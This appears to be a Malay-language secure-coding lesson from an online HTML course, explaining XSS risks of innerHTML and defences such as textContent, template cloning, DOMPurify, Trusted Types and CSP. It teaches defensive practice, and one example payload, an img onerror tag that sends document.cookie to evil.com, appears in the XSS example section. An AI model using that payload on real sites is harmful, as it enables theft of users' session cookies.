Templat berbanding Keselamatan innerHTML
Fahami sebab templat lebih selamat daripada menetapkan innerHTML
Templat berbanding Keselamatan innerHTML ialah pelajaran HTML Academy percuma di CoddyKit. Ini ialah pelajaran 4 daripada 4. Sebanyak 3 pelajaran dalam laluan pembelajaran ini boleh dibaca sepenuhnya secara percuma — selepas itu, CoddyKit PRO membuka akses kepada semua pelajaran, serta latihan praktikal dengan penyunting kod terbina dalam dan tutor kecerdasan buatan yang tersedia 24/7. Pelajaran ini merupakan sebahagian daripada laluan pembelajaran HTML Academy, dan kemajuan anda disegerakkan merentas web serta aplikasi CoddyKit. Kursus HTML Academy merangkumi sejumlah 4 pelajaran.
Risiko Suntikan innerHTML
Menetapkan el.innerHTML = userInput menghuraikan rentetan tersebut sebagai HTML. Jika userInput mengandungi <script> atau pengendali peristiwa seperti onerror, pelayar akan melaksanakannya — lalu mewujudkan kerentanan Penskripan Rentas Tapak (XSS).
Contoh XSS melalui innerHTML
Penyerang menghantar nama pengguna: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Jika ini dipaparkan menggunakan innerHTML, onerror dicetuskan dan cookie sesi dieksfiltrasi. Kandungan teks menjadi kod yang boleh dilaksanakan.
textContent adalah Selamat
el.textContent = userInput menganggap rentetan tersebut sebagai teks biasa — tiada penghuraian HTML dan tiada pelaksanaan skrip. Pelayar meloloskan tanda < dan > secara automatik dalam nod teks. Sentiasa gunakan textContent untuk nilai yang dibekalkan pengguna.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;Elemen template Mengelakkan Penghuraian Rentetan
Apabila menggunakan template.cloneNode(true), struktur datang daripada template HTML yang telah dihuraikan terlebih dahulu — bukan daripada rentetan yang dibekalkan pengguna. Menetapkan nilai melalui textContent pada nod yang diklon memastikan data pengguna kekal dalam nod teks dan tidak pernah berada dalam HTML yang dihuraikan. Struktur dan data diasingkan.
Pembersihan Apabila innerHTML Diperlukan
Jika pemformatan HTML daripada pengguna diperlukan (teks kaya), bersihkan kandungan tersebut sebelum menetapkan innerHTML. DOMPurify ialah pustaka standard: el.innerHTML = DOMPurify.sanitize(richHtml). Ia membuang teg dan atribut berbahaya sambil mengekalkan pemformatan yang selamat.
Risiko insertAdjacentHTML
insertAdjacentHTML("beforeend", html) juga menghuraikan rentetan HTML — dengan risiko XSS yang sama seperti innerHTML. Gunakan peraturan pembersihan yang sama. Alternatif yang lebih selamat: hasilkan elemen dengan createElement, tetapkan textContent dan gunakan appendChild.
Keselamatan setAttribute
Menetapkan atribut dengan data pengguna boleh menghasilkan suntikan: el.setAttribute("href", userUrl) apabila userUrl ialah javascript:alert(1) akan mewujudkan XSS. Sahkan skema URL: hanya benarkan http:, https: dan mailto: sebelum menetapkan atribut href atau src.
Pengacauan DOM
Pengacauan DOM ialah serangan apabila elemen borang bernama (id="getElementById") mengatasi pemboleh ubah JavaScript global. Sentiasa akses elemen melalui document.getElementById() dan bukannya sifat global window. Dasar Keselamatan Kandungan juga mengurangkan serangan pengacauan.
Dasar Trusted Types
Trusted Types (Chrome, dikuatkuasakan melalui CSP) memerlukan semua sink innerHTML, insertAdjacentHTML dan sink yang serupa menerima rentetan yang dibalut oleh dasar. Rentetan mentah tidak boleh ditetapkan — hanya nilai yang dihasilkan oleh dasar TrustedTypes yang diisytiharkan. Ini menghalang pembersihan daripada dipintas secara tidak sengaja.
Keselamatan DocumentFragment
Menghasilkan elemen dengan API DOM (createElement, createTextNode) dan memanipulasinya dalam DocumentFragment sememangnya selamat daripada XSS — teks sentiasa menjadi teks, bukan HTML yang dihuraikan. DocumentFragments ialah cara paling selamat untuk membina UI dinamik yang kompleks.
Dasar Keselamatan Kandungan
CSP yang ketat (tanpa unsafe-inline, skrip berasaskan nonce) ialah pertahanan berlapis terhadap XSS. Walaupun penyerang menyuntik HTML, CSP menghalang skrip yang disuntik daripada dilaksanakan. CSP tidak menghapuskan keperluan untuk pembersihan — ia ialah jaring keselamatan, bukan pertahanan utama.
Semakan Pengetahuan
Mengapakah textContent lebih selamat daripada innerHTML untuk memaparkan data yang dibekalkan pengguna?
Ringkasan
innerHTML dan API berkaitan menghuraikan rentetan HTML, lalu mewujudkan kerentanan XSS apabila data pengguna diselitkan tanpa pembersihan. Penggunaan textContent, pengklonan template dengan pengisian textContent, DOMPurify untuk teks kaya dan Dasar Keselamatan Kandungan menghasilkan pertahanan berlapis terhadap serangan suntikan HTML.
Pelajari HTML dengan tutor kecerdasan buatan — percuma
Tulis dan jalankan kod sebenar dalam pelayar anda, dapatkan bantuan segera daripada tutor kecerdasan buatan yang tersedia 24/7, dan sambung semula dari tempat anda berhenti di web atau dalam aplikasi.
- Kursus
- 40
- Pelajaran
- 159
Soalan Lazim
Adakah pelajaran “Templat berbanding Keselamatan innerHTML” percuma?
Ya — sebanyak 3 pelajaran dalam laluan pembelajaran HTML Academy, termasuk “Templat berbanding Keselamatan innerHTML”, boleh dibaca sepenuhnya secara percuma di web ini. Selepas itu, CoddyKit PRO membuka akses kepada semua pelajaran, serta latihan interaktif dengan penyunting kod terbina dalam dan tutor kecerdasan buatan yang tersedia 24/7. Kursus HTML Academy merangkumi sejumlah 4 pelajaran.
Apakah yang akan saya pelajari dalam “Templat berbanding Keselamatan innerHTML”?
Fahami sebab templat lebih selamat daripada menetapkan innerHTML Anda berlatih HTML Academy menggunakan kod praktikal yang dijalankan terus dalam pelayar, manakala tutor kecerdasan buatan 24/7 menjawab soalan anda semasa anda mengikuti pelajaran.
Adakah saya memerlukan pengalaman untuk memulakan HTML Academy?
Tiada pengalaman terdahulu diperlukan. Pembelajaran HTML Academy di CoddyKit disusun untuk pelajar daripada peringkat pemula hingga lanjutan, jadi anda boleh bermula di sini atau dari awal dan belajar mengikut kadar anda sendiri. Ini ialah pelajaran 4 daripada 4.
Berapa lamakah pelajaran “Templat berbanding Keselamatan innerHTML” diambil?
Kebanyakan pelajaran CoddyKit mengambil masa kira-kira 5–10 minit. Setiap pelajaran ringkas dan interaktif, jadi anda boleh membuat kemajuan secara berterusan dan menyambung tepat dari tempat anda berhenti di web atau aplikasi.
Bolehkah saya menulis dan menjalankan kod dalam pelajaran HTML Academy ini?
Ya. Setiap pelajaran HTML Academy menyertakan penyunting kod terbina dalam, jadi anda boleh menulis dan menjalankan kod sebenar terus dalam pelayar serta menerima maklum balas kecerdasan buatan serta-merta — tanpa memerlukan persediaan setempat.
Semua pelajaran dalam kursus ini
- Elemen template Kandungan Tidak Aktif
- Mengklon Templat dengan cloneNode
- Menggunakan template dengan Pemaparan JavaScript
- Templat berbanding Keselamatan innerHTML